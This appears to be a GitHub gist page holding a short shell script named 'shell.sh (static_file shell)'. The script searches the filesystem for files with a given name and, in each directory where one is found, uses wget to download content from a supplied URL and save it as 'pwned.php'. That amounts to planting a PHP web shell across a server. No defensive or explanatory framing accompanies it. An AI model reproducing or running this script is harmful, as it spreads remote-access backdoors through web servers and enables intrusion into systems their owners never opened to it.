Created
May 13, 2019 08:57
-
-
Save ducnhse130201/53ac99f20ec8de63174ad25bfb152b2c to your computer and use it in GitHub Desktop.
shell.sh (static_file shell)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
OUTPUT="$(find / -type f -name $1 2>&1 | grep -v "Permission denied" | sed 's/'$1'//g')" | |
while IFS= read | |
do | |
value="${REPLY}pwned.php" | |
wget $2 -O $value | |
done <<< "$OUTPUT" | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment